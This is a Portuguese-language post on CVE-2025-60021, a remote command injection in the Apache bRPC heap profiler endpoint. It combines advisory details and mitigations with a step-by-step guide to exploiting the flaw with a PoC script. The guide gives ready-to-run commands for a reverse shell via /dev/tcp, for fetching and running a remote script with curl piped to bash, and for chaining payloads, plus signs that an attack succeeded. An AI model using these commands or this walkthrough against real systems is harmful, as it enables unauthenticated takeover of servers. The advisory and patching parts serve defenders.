❗Atacantes podem injetar comandos remotamente simplesmente manipulando este parâmetro de perfil.

🚨 Severidade e Risco

🔥 Classificação de Severidade: Crítica 📊 Pontuação Base CVSS v3.1: 9.8 / 10 Vetor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)

👉 Isso significa que atacantes podem executar comandos arbitrários remotamente sem login — um cenário de pior caso para serviços expostos.

🧠 Detalhamento Técnico

🔍 Como Funciona

1. Exposição do Heap Profiler: o bRPC expõe um endpoint de perfilagem (/pprof/heap) destinado à análise de memória (jemalloc). (openwall.com)
2. Bug no Tratamento de Entrada: o endpoint aceita um parâmetro extra_options. Em vez de sanitizá-lo, o bRPC o passa diretamente para o shell do SO. (openwall.com)
3. Injeção de Comandos: um ator malicioso cria uma entrada contendo comandos do sistema → o serviço os executa. (CVE Details)

Guia Passo a Passo para Usar o Script PoC CVE-2025-60021

Isso pressupõe que você tenha o script salvo como CVE-2025-60021.py (embora o CVE real seja 2025-60021 — fique à vontade para renomeá-lo). É um script Python 3 para demonstrar a vulnerabilidade de injeção remota de comandos no heap profiler do Apache bRPC. Execute apenas em sistemas que você possui ou para os quais tem permissão explícita por escrito para testar — explorar sem autorização é ilegal.

Pré-requisitos

1. Ambiente Python: garanta que você tenha Python 3 instalado (ex.: 3.6+). O script usa módulos nativos além de requests e argparse (que são padrão ou fáceis de instalar).

2. Instalar Dependências: se ainda não estiver presente, instale a biblioteca requests:

   root@kitploit:~

   pip install requests
   

3. Configuração do Alvo: você precisa de um servidor Apache bRPC vulnerável:

   • Versão < 1.15.0.
   • Heap profiler habilitado (verifique a configuração do servidor; geralmente está ativo por padrão em ambientes de desenvolvimento).
   • Acessível pela rede (ex.: http://localhost:8060 ou um IP/porta remoto). Se for testar localmente, configure uma instância bRPC vulnerável (ex.: via Docker ou compilação a partir do código-fonte — consulte a documentação do Apache bRPC).

4. Permissões: execute com sudo somente se necessário para acesso à rede ou privilégios; caso contrário, apenas python3 já basta.

Etapa 1: Salvar o Script

Copie o código PoC que forneci anteriormente para um arquivo chamado CVE-2025-60021.py. Torne-o executável, se desejar:

Etapa 2: Entender os Argumentos

O script aceita dois argumentos posicionais obrigatórios:

• target: A URL do servidor bRPC vulnerável (ex.: http://192.168.1.100:8060 ou http://targets:8060 — corrija erros de digitação, como esquema ausente ou host inválido).
• cmd: O comando a ser executado no alvo (ex.: "id" para informações do usuário, ou algo mais complexo como "curl http://your-server/reverse-shell.sh | bash" para um reverse shell). Use && ou ; para encadear vários comandos.

Etapa 3: Executar o Script

Abra um terminal (ex.: no Kali Linux, como você está usando) e execute-o com seu alvo e comando. Exemplos de comandos:

• Teste básico (obter informações do sistema):

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
  

• Exemplo de reverse shell (substitua your-listener-ip e a porta; primeiro configure um listener como nc -lvnp 4444):

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
  

• Se estiver usando HTTPS ou uma porta diferente, ajuste a URL de acordo (ex.: https://target:443 — o script lida com isso, mas adicione --insecure se houver problemas de certificado).

Etapa 4: Interpretar a Saída

Indicadores de Sucesso:

• O exploit provavelmente foi bem-sucedido! (200 OK)
• Possível saída do comando no corpo da resposta (ex.: uid=0(root)... se ele executou id).
• Para comandos sem saída (ex.: escrita de arquivos ou shells), verifique o servidor alvo (logs, processos) ou seu listener.

Indicadores de Falha (como o que você viu):

• Obteve código de status 404 — talvez não seja vulnerável?
• Mensagens de erro como "[E1002] Heap profiler is not enabled" significam que o endpoint não está ativo — habilite-o no alvo ou encontre uma instância vulnerável diferente.
• Timeouts ou erros de conexão: alvo inacessível, firewall bloqueando ou porta errada.
• Se nenhuma saída vazar, o comando ainda é executado silenciosamente no servidor.

Etapa 5: Solução de Problemas Comuns

• Erro 404: heap profiler desabilitado. Habilite-o na configuração do bRPC (ex.: --enable_heap_profiler=true) e reinicie o servidor.
• Erro de argparse: esqueceu o argumento cmd — sempre inclua-o.
• Nenhuma Saída no Corpo da Resposta: alguns comandos não produzem stdout. Use aqueles que produzem (ex.: echo "test" > /tmp/proof.txt) e verifique o arquivo no alvo.
• Privilégios: se o processo bRPC executa como não-root, os comandos ficam limitados às permissões desse usuário.
• Ajustes de Payload: se ; não funcionar, tente && ou | para encadear. Codifique caracteres especiais na URL, se necessário (o script lida com a maioria).
• Testando Localmente: suba um container Docker vulnerável para bRPC para verificar sem arriscar sistemas reais.

Etapa 6: Limpeza e Notas Éticas

• Após testar, corrija o alvo: atualize para bRPC 1.15.0+ ou desabilite /pprof/heap.
• Exclua quaisquer artefatos (ex.: shells ou arquivos criados).
• Registre seus testes para conformidade, caso esteja fazendo pentest.

Se o exploit for bem-sucedido em um alvo vulnerável (ex.: heap profiler habilitado, bRPC sem patch <1.15.0), a saída no seu terminal será algo assim (os detalhes exatos dependem do stdout do comando e da configuração do servidor):

Os principais sinais: status 200 OK e, se seu comando (como id && whoami && uname -a) produzir saída, ela pode aparecer no corpo da resposta (misturada com lixo do profiler). Para comandos silenciosos (ex.: reverse shell), verifique o servidor alvo ou seu listener para atividade — não há confirmação direta no terminal além do 200. 😈

🛠 Mitigação e Correções

✅ Solução Principal

• 👉 Atualize o Apache bRPC para a versão 1.15.0 ou posterior. (NVD)

🧩 Correção Alternativa

• 🛠 Aplique o patch oficial manualmente a partir do repositório do Apache bRPC no GitHub (Pull Request #3101). (openwall.com)

🔒 Proteções Adicionais

• Firewall / ACLs: bloqueie o acesso a /pprof/heap a partir de redes não confiáveis.
• Desabilitar Perfil: desative o heap profiling onde não for necessário.
• Monitorar Logs: fique atento a atividades incomuns do profiler.

💡 Por Que Isso É Perigoso

✔ Atacantes não precisam de credenciais. ✔ Funciona pela rede. ✔ Afeta todas as plataformas que usam bRPC vulnerável. ✔ Pode levar ao comprometimento total do sistema.

Empresas que usam bRPC para serviços críticos (ex.: busca, armazenamento, pipelines de machine learning) estão especialmente em risco porque essa falha transforma uma ferramenta de diagnóstico em um vetor de ataque. (Daily CyberSecurity)

🧾 Notas Adicionais

⚠ EPSS (Predictive Exploit Scoring): alguns feeds indicam baixa observação de exploração até agora, mas a facilidade de exploração significa que ela pode ser aproveitada rapidamente em ataques reais. (Tenable®)

📌 Classificação: CWE-77 — Neutralização Incorreta de Elementos Especiais em um Comando (Injeção de Comandos). (NVD)

📎 Referências

• NIST/NVD entrada da vulnerabilidade para CVE-2025-60021 (NVD)
• Apache & Openwall Security Advisory detalhes (openwall.com)
• INCIBE-CERT CVSS e detalhamento de métricas (INCIBE)
• Visão geral do CVE Details (versões afetadas e orientação de correção) (CVE Details)

Se você está executando o Apache bRPC em produção — aplique o patch imediatamente e restrinja o acesso aos endpoints de diagnóstico para reduzir o risco.